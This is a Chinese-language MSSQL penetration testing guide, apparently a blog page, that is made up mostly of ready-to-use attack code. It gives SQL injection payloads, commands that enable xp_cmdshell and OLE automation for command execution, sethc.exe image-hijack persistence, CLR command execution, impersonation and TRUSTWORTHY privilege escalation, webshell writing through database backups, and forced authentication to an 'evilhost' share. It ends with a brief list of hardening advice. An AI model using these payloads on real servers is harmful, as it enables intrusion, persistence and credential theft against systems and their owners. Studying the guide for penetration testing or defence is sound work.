Pentesting MSSQL - Microsoft SQL Server
字数 585 2025-08-26 22:11:57

MSSQL渗透测试完全指南

基础介绍

Microsoft SQL Server是微软开发的关系型数据库管理系统,默认开放TCP 1433端口。作为数据库服务器,它主要功能是存储和检索其他软件应用程序请求的数据。

SQL Server信息收集

判断数据库类型

/* 通过特有表判断 */
?id=1 and (select count(*) from sysobjects)>0 --
/* 通过延时函数判断 */
?id=1;WAITFOR DELAY '00:00:10'; --

查询数据库版本

?id=1 and 1=(select @@version) --

获取当前用户和数据库名

/* 当前用户 */
?id=1 and user>0;--
/* 当前数据库 */
?id=1 and db_name()>0;--

判断字段个数

?id=1 order by 6--

判断服务器角色

/* 判断是否为sysadmin */
?id=1 and 1=(select is_srvrolemember('sysadmin'))--
/* 其他角色检查 */
?id=1 and 1=(select is_srvrolemember('serveradmin'))--
?id=1 and 1=(select is_srvrolemember('securityadmin'))--

SQL注入技术

报错注入

/* 查询表名 */
?id=1 and 1=(select top 1 name from sysobjects where xtype='u');--
/* 查询字段名 */
?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'fsb_accounts'));--

联合注入

/* 使用NULL占位 */
?id=1 union select NULL, NULL ,NULL, NULL, NULL from fsb_users--
/* 查询数据 */
?id=1 union select NULL, user_name, NULL, NULL, NULL from fsb_users--

布尔盲注

?id=-1 or ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1))>97--

时间盲注

?id=1;if (select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:2'--

SQL Server攻击面

xp_cmdshell利用

/* 启用xp_cmdshell */
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

/* 执行命令 */
EXEC master.dbo.xp_cmdshell 'whoami'

Ole Automation Procedures

/* 启用OLE自动化 */
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;
EXEC sp_configure 'Ole Automation Procedures', 1;RECONFIGURE;

/* 使用WScript.Shell执行命令 */
DECLARE @object INT
EXEC sp_OACreate 'WScript.Shell', @object OUTPUT
EXEC sp_OAMethod @object, 'run', NULL, 'cmd.exe /c whoami >C:\result.txt'

xp_regwrite利用

/* 映像劫持持久化 */
EXEC master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger','REG_SZ','C:\Windows\System32\cmd.exe'

CLR利用

/* 创建CLR程序集 */
CREATE ASSEMBLY [MssqlClr] FROM 0x4D5A... WITH PERMISSION_SET = UNSAFE;

/* 创建存储过程 */
CREATE PROCEDURE [dbo].[ExecCommand] @cmd NVARCHAR (MAX) NULL
AS EXTERNAL NAME [MssqlClr].[StoredProcedures].[ExecCommand]

/* 执行命令 */
EXEC dbo.ExecCommand "whoami /all";

权限提升技术

用户模拟提权

/* 查看可模拟的账户 */
SELECT DISTINCT b.name FROM sys.server_permissions a 
INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id 
WHERE a.permission_name = 'IMPERSONATE';

/* 模拟高权限账户 */
EXECUTE AS LOGIN = 'sa';

Trustworthy提权

/* 创建提权存储过程 */
CREATE PROCEDURE sp_elevate_me WITH EXECUTE AS OWNER
AS EXEC sp_addsrvrolemember 'LoginUser1','sysadmin';

/* 执行提权 */
EXEC sp_elevate_me;

本地特权提升

SeImpersonatePrivilege利用

PrintSpoofer.exe -i -c whoami

RBCD攻击

SharpAllowedToAct.exe -m PENTEST -p Passw0rd -t WIN-MSSQL -D pentest.com

Shadow Credentials

Whisker.exe add /target:WIN-MSSQL$ /domain:pentest.com /dc:dc01.pentest.com

WebShell写入技术

差异备份Getshell

/* 完整备份 */
backup database FoundStone_Bank to disk = 'C:\inetpub\wwwroot\public\test.bak';
/* 创建表并插入WebShell */
create table [dbo].[test] ([cmd] [image]);
insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E);
/* 差异备份写入WebShell */
backup database FoundStone_Bank to disk='C:\inetpub\wwwroot\public\shell.asp' WITH DIFFERENTIAL,FORMAT;

日志备份Getshell

/* 设置还原模式 */
alter database FoundStone_Bank set RECOVERY FULL;
/* 创建表并插入WebShell */
create table test (cmd image);
/* 日志备份写入WebShell */
backup log FoundStone_Bank to disk = 'C:\inetpub\wwwroot\public\shell.asp';

强制认证攻击

存储过程强制认证

EXEC master..xp_dirtree '\\evilhost\share'
EXEC master..xp_fileexist '\\evilhost@80\webdav\test.txt'

Analysis Services强制认证

<Restore xmlns="http://schemas.microsoft.com/analysisservices/2003/engine">
    <File>\\192.168.2.51\SYSVOL\db.abf</File>
    <DatabaseName>\\192.168.2.51\SYSVOL\db.abf</DatabaseName>
</Restore>

防御建议

  1. 最小权限原则,限制数据库账户权限
  2. 禁用不必要的存储过程(xp_cmdshell, sp_OACreate等)
  3. 及时安装安全补丁
  4. 启用数据库审计
  5. 限制网络访问
  6. 使用强密码策略
  7. 定期检查数据库配置

本指南涵盖了MSSQL渗透测试的主要技术点,从信息收集到权限提升,提供了全面的攻击方法和防御建议。

MSSQL渗透测试完全指南 基础介绍 Microsoft SQL Server是微软开发的关系型数据库管理系统,默认开放TCP 1433端口。作为数据库服务器,它主要功能是存储和检索其他软件应用程序请求的数据。 SQL Server信息收集 判断数据库类型 查询数据库版本 获取当前用户和数据库名 判断字段个数 判断服务器角色 SQL注入技术 报错注入 联合注入 布尔盲注 时间盲注 SQL Server攻击面 xp_ cmdshell利用 Ole Automation Procedures xp_ regwrite利用 CLR利用 权限提升技术 用户模拟提权 Trustworthy提权 本地特权提升 SeImpersonatePrivilege利用 RBCD攻击 Shadow Credentials WebShell写入技术 差异备份Getshell 日志备份Getshell 强制认证攻击 存储过程强制认证 Analysis Services强制认证 防御建议 最小权限原则,限制数据库账户权限 禁用不必要的存储过程(xp_ cmdshell, sp_ OACreate等) 及时安装安全补丁 启用数据库审计 限制网络访问 使用强密码策略 定期检查数据库配置 本指南涵盖了MSSQL渗透测试的主要技术点,从信息收集到权限提升,提供了全面的攻击方法和防御建议。